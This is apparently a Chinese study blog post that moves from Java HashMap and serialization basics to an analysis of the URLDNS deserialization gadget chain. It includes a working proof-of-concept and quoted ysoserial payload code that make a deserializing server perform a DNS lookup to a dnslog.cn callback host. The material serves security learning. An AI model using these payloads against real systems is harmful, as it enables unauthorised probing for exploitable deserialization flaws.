一些小基础

HashMap类学习

参考: https://www.cainiaojc.com/java/java-hashmap.html
HashMap是以键值对存储的哈希表,包在java.util.HashMap

几个常见方法:
  • put():插入指定的键值对到map中
  • entrySet():返回一组所有键值对映射的map
  • keySet(): 返回map的所有键集合
  • values(): 返回map所有值的集合
  • get(): 返回指定键对应的值
  • remove(key): 返回并删除对应键的值
  • replace(key,value): 将key对应的值换成value

eg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.util.HashMap;

class Main {
public static void main(String[] args) {

HashMap<String, Integer> numbers = new HashMap<>();
numbers.put("One", 1);
numbers.put("Two", 2);
numbers.put("Three", 3);
System.out.println("HashMap: " + numbers);

System.out.println("Key/Value映射: "+numbers.entrySet());

System.out.println("get 'One'的值:"+numbers.get("One"));

int value = numbers.remove("Two");
System.out.println("删除值: " + value);

numbers.replace("One",11111);

System.out.println("更新后的HashMap: " + numbers);
}
}

Java I/O流

是Java输入输出流的意思,流是从源码读取并写入目标的数据序列,一个输入流用于从源读取数据,输出流用于将数据写入目标

流分为字节流和字符流:

字节流(Byte)

用于读取和写入单个字节(8位)数据,所有字节流类都派生自称为InputStream和OutputStream的基本抽象类。

InputStream抽象类的子类:

  1. FileInputStream:用于从文件读取数据
    创建:
    1
    2
    3
    FileInputStream input = new FileInputStream(stringPath);

    FileInputStream input = new FileInputStream(File fileObject);
  2. ByteArrayInputStream: 用于读取输入数据数组
    1
    ByteArrayInputStream input = new ByteArrayInputStream(byte[] arr);
  3. ObjectInputStream: 用于读取ObjectOutputStream先前编写的对象
    1
    2
    3
    4
    5
    //创建与指定文件链接的文件输入流
    FileInputStream fileStream = new FileInputStream(String file);

    //使用文件输入流创建对象输入流
    ObjectInputStream objStream = new ObjectInputStream(fileStream);

几个read()方法:

  • read() - 从输入流中读取一个字节的数据

  • readBoolean() - 以布尔形式读取数据

  • readChar() - 以字符形式读取数据

  • readInt() - 以整数形式读取数据

  • readObject() - 从输入流中读取对象

OutputStream的子类

  • FileOutStream
  • ByteArrayOutputStream
  • ObjectOutputStream:
    • 有几个write()方法:
    • write() - 将字节数据写入输出流
    • writeBoolean() - 以布尔形式写入数据
    • writeChar() - 以字符形式写入数据
    • writeInt() - 以整数形式写入数据
    • writeObject() - 将对象写入输出流

序列化和反序列化示例

现在假设对一个hashmap对象序列化和反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
try{
FileOutputStream fileOutputStream=new FileOutputStream("studytest.ser");
ObjectOutputStream outputStream=new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(hashMap);
outputStream.close();
fileOutputStream.close();

FileInputStream fileInputStream=new FileInputStream("studytest.ser");
ObjectInputStream inputStream=new ObjectInputStream(fileInputStream);
inputStream.readObject();
inputStream.close();
fileInputStream.close();
}catch (Exception e){
e.printStackTrace();
}

URLDNS链分析

调试技巧:

  • 光标放在一个类目一直按住ctrl键,鼠标左键点击可进入这个类里

study1.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.Objects;

public class study1 {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
URL url = new URL("http://35bbd1.dnslog.cn");
Field f =Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url,123);
System.out.println(url.hashCode());
hashMap.put(url,111);//此时不会进行dns解析
f.set(url,-1);//hashcode重新设置为-1

try{
FileOutputStream fileOutputStream=new FileOutputStream("studytest.ser");
ObjectOutputStream outputStream=new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(hashMap);
outputStream.close();
fileOutputStream.close();

FileInputStream fileInputStream=new FileInputStream("studytest.ser");
ObjectInputStream inputStream=new ObjectInputStream(fileInputStream);
inputStream.readObject();
inputStream.close();
fileInputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}

==这里踩坑jdk版本,高版本是找不到这个getByName(host)的,它暖暖得下载了5个jdk最后一个成功了,是jdk-8u201==

链子很简单

1
2
3
4
5
6
HashMap::readObject()-->
Hashmap::hash()-->
java.net.URL.hashcode()
URLStreamHandler->hashcode()
URLStreamHandler->getHostAddress
InetAddress.getByname(host)

这里的InetAddress addr = getByName(host); 的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次 DNS查询。

==但是要注意一点,当我们往HashMap里加URL对象时也会自动调用一次HashMap的put方法==

1
2
3
public V put(K key, V value) {  
return putVal(hash(key), key, value, false, true);
}

这里也会进行hash函数,经过一系列方法造成dns解析,我们可以通过修改hashcode的值让它不等于-1来不进行dns解析,然后在反序列化之前把hashcode改回-1

1
2
3
4
5
6
7
8
9
10
11
12
13
package study;  

import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class urldnsTest {
public static void main(String[] args) throws MalformedURLException {
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
URL url = new URL("http://c282sy.dnslog.cn");
hashMap.put(url,22);
}
}

此时会进行dns解析

我们来学习一下ysoserial的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

这里通过继承URLStreamHandler类,重写openConnection()getHostAddress()函数,而这里重写的目的在于: HashMap#put时也会调用getHostAddress()函数进行一次DNS解析,这里就是通过重写的getHostAddress()函数来覆盖掉原函数,从而使其不进行DNS解析,避免在Payload在创建的时候进行DNS解析,后面反序列化时不受影响